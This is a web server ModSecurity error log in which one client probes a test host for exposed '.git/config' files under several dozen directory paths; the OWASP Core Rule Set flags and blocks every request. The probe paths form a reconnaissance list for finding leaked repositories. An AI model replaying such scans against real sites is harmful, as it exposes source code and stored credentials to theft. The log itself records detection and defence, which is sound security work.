[Tue Dec 03 03:51:54.931330 2024] [:error] [pid 3718389] [client 179.43.188.122:49418] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.git/config"] [unique_id "Z05yStz3iA2SsyYhC6dzFwAAAAA"]
[Tue Dec 03 03:51:54.931884 2024] [:error] [pid 3718389] [client 179.43.188.122:49418] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.git/config"] [unique_id "Z05yStz3iA2SsyYhC6dzFwAAAAA"]
[Tue Dec 03 03:51:54.932230 2024] [:error] [pid 3718389] [client 179.43.188.122:49418] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.git/config"] [unique_id "Z05yStz3iA2SsyYhC6dzFwAAAAA"]
[Tue Dec 03 03:51:54.932946 2024] [:error] [pid 3718391] [client 179.43.188.122:49436] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.git/config"] [unique_id "Z05ySskOD90yt6tvnj2-wgAAAAI"]
[Tue Dec 03 03:51:54.969032 2024] [:error] [pid 3718403] [client 179.43.188.122:49466] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /template/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/template/.git/config"] [unique_id "Z05ySiSprIZhWfa05WPBZAAAAAU"]
[Tue Dec 03 03:51:54.969243 2024] [:error] [pid 3718640] [client 179.43.188.122:49460] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /themes/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.git/config"] [unique_id "Z05ySrZfi9eLA6ctZFcErwAAAAY"]
[Tue Dec 03 03:51:54.969590 2024] [:error] [pid 3718403] [client 179.43.188.122:49466] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/template/.git/config"] [unique_id "Z05ySiSprIZhWfa05WPBZAAAAAU"]
[Tue Dec 03 03:51:54.969904 2024] [:error] [pid 3718640] [client 179.43.188.122:49460] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.git/config"] [unique_id "Z05ySrZfi9eLA6ctZFcErwAAAAY"]
[Tue Dec 03 03:51:54.969997 2024] [:error] [pid 3718403] [client 179.43.188.122:49466] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/template/.git/config"] [unique_id "Z05ySiSprIZhWfa05WPBZAAAAAU"]
[Tue Dec 03 03:51:54.970386 2024] [:error] [pid 3718640] [client 179.43.188.122:49460] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.git/config"] [unique_id "Z05ySrZfi9eLA6ctZFcErwAAAAY"]
[Tue Dec 03 03:51:54.970918 2024] [:error] [pid 3718390] [client 179.43.188.122:49448] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /panel/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/panel/.git/config"] [unique_id "Z05ySjyXJ-YYyYJAX9Q2KgAAAAE"]
[Tue Dec 03 03:51:54.971459 2024] [:error] [pid 3718390] [client 179.43.188.122:49448] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/panel/.git/config"] [unique_id "Z05ySjyXJ-YYyYJAX9Q2KgAAAAE"]
[Tue Dec 03 03:51:54.971857 2024] [:error] [pid 3718390] [client 179.43.188.122:49448] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/panel/.git/config"] [unique_id "Z05ySjyXJ-YYyYJAX9Q2KgAAAAE"]
[Tue Dec 03 03:51:55.008882 2024] [:error] [pid 3718391] [client 179.43.188.122:49498] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /layout/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/layout/.git/config"] [unique_id "Z05yS8kOD90yt6tvnj2-wwAAAAI"]
[Tue Dec 03 03:51:55.009066 2024] [:error] [pid 3718392] [client 179.43.188.122:49496] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /views/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/views/.git/config"] [unique_id "Z05yS9yy8nN_0LGgM1DalAAAAAM"]
[Tue Dec 03 03:51:55.009485 2024] [:error] [pid 3718391] [client 179.43.188.122:49498] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/layout/.git/config"] [unique_id "Z05yS8kOD90yt6tvnj2-wwAAAAI"]
[Tue Dec 03 03:51:55.009602 2024] [:error] [pid 3718392] [client 179.43.188.122:49496] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/views/.git/config"] [unique_id "Z05yS9yy8nN_0LGgM1DalAAAAAM"]
[Tue Dec 03 03:51:55.009922 2024] [:error] [pid 3718391] [client 179.43.188.122:49498] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/layout/.git/config"] [unique_id "Z05yS8kOD90yt6tvnj2-wwAAAAI"]
[Tue Dec 03 03:51:55.010022 2024] [:error] [pid 3718392] [client 179.43.188.122:49496] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/views/.git/config"] [unique_id "Z05yS9yy8nN_0LGgM1DalAAAAAM"]
[Tue Dec 03 03:51:55.010222 2024] [:error] [pid 3718393] [client 179.43.188.122:49480] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /templates/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/templates/.git/config"] [unique_id "Z05yS6bYn-Yqmk1OVzHbGQAAAAQ"]
[Tue Dec 03 03:51:55.010759 2024] [:error] [pid 3718393] [client 179.43.188.122:49480] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/templates/.git/config"] [unique_id "Z05yS6bYn-Yqmk1OVzHbGQAAAAQ"]
[Tue Dec 03 03:51:55.011129 2024] [:error] [pid 3718393] [client 179.43.188.122:49480] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/templates/.git/config"] [unique_id "Z05yS6bYn-Yqmk1OVzHbGQAAAAQ"]
[Tue Dec 03 03:51:55.047006 2024] [:error] [pid 3718389] [client 179.43.188.122:49502] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /uploads/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uploads/.git/config"] [unique_id "Z05yS9z3iA2SsyYhC6dzGAAAAAA"]
[Tue Dec 03 03:51:55.047570 2024] [:error] [pid 3718403] [client 179.43.188.122:49514] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /media/uploads/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media/uploads/.git/config"] [unique_id "Z05ySySprIZhWfa05WPBZQAAAAU"]
[Tue Dec 03 03:51:55.047623 2024] [:error] [pid 3718389] [client 179.43.188.122:49502] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uploads/.git/config"] [unique_id "Z05yS9z3iA2SsyYhC6dzGAAAAAA"]
[Tue Dec 03 03:51:55.048136 2024] [:error] [pid 3718389] [client 179.43.188.122:49502] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uploads/.git/config"] [unique_id "Z05yS9z3iA2SsyYhC6dzGAAAAAA"]
[Tue Dec 03 03:51:55.048181 2024] [:error] [pid 3718403] [client 179.43.188.122:49514] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media/uploads/.git/config"] [unique_id "Z05ySySprIZhWfa05WPBZQAAAAU"]
[Tue Dec 03 03:51:55.048591 2024] [:error] [pid 3718403] [client 179.43.188.122:49514] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media/uploads/.git/config"] [unique_id "Z05ySySprIZhWfa05WPBZQAAAAU"]
[Tue Dec 03 03:51:55.051451 2024] [:error] [pid 3718640] [client 179.43.188.122:49528] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /files/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/files/.git/config"] [unique_id "Z05yS7Zfi9eLA6ctZFcEsAAAAAY"]
[Tue Dec 03 03:51:55.051987 2024] [:error] [pid 3718640] [client 179.43.188.122:49528] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/files/.git/config"] [unique_id "Z05yS7Zfi9eLA6ctZFcEsAAAAAY"]
[Tue Dec 03 03:51:55.052397 2024] [:error] [pid 3718640] [client 179.43.188.122:49528] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/files/.git/config"] [unique_id "Z05yS7Zfi9eLA6ctZFcEsAAAAAY"]
[Tue Dec 03 03:51:55.085539 2024] [:error] [pid 3718391] [client 179.43.188.122:49542] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /modules/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.git/config"] [unique_id "Z05yS8kOD90yt6tvnj2-xAAAAAI"]
[Tue Dec 03 03:51:55.086388 2024] [:error] [pid 3718391] [client 179.43.188.122:49542] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.git/config"] [unique_id "Z05yS8kOD90yt6tvnj2-xAAAAAI"]
[Tue Dec 03 03:51:55.086808 2024] [:error] [pid 3718391] [client 179.43.188.122:49542] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.git/config"] [unique_id "Z05yS8kOD90yt6tvnj2-xAAAAAI"]
[Tue Dec 03 03:51:55.086876 2024] [:error] [pid 3718390] [client 179.43.188.122:49530] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /resources/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/resources/.git/config"] [unique_id "Z05ySzyXJ-YYyYJAX9Q2KwAAAAE"]
[Tue Dec 03 03:51:55.087124 2024] [:error] [pid 3718390] [client 179.43.188.122:49530] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/resources/.git/config"] [unique_id "Z05ySzyXJ-YYyYJAX9Q2KwAAAAE"]
[Tue Dec 03 03:51:55.087304 2024] [:error] [pid 3718390] [client 179.43.188.122:49530] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/resources/.git/config"] [unique_id "Z05ySzyXJ-YYyYJAX9Q2KwAAAAE"]
[Tue Dec 03 03:51:55.088756 2024] [:error] [pid 3718392] [client 179.43.188.122:49556] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /plugins/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.git/config"] [unique_id "Z05yS9yy8nN_0LGgM1DalQAAAAM"]
[Tue Dec 03 03:51:55.088949 2024] [:error] [pid 3718392] [client 179.43.188.122:49556] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.git/config"] [unique_id "Z05yS9yy8nN_0LGgM1DalQAAAAM"]
[Tue Dec 03 03:51:55.089100 2024] [:error] [pid 3718392] [client 179.43.188.122:49556] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.git/config"] [unique_id "Z05yS9yy8nN_0LGgM1DalQAAAAM"]
